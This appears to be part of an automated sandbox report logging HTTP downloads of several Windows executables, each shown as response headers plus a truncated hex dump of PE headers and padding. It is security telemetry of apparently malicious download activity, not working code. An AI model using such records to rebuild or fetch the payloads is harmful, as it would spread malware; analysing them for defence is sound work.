00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:49:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:49:54 GMTContent-Type: application/octet-streamContent-Length: 1884160Last-Modified: Fri, 29 Nov 2024 18:38:32 GMTConnection: keep-aliveETag: "674a0a28-1cc000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 af d8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 83 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 82 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 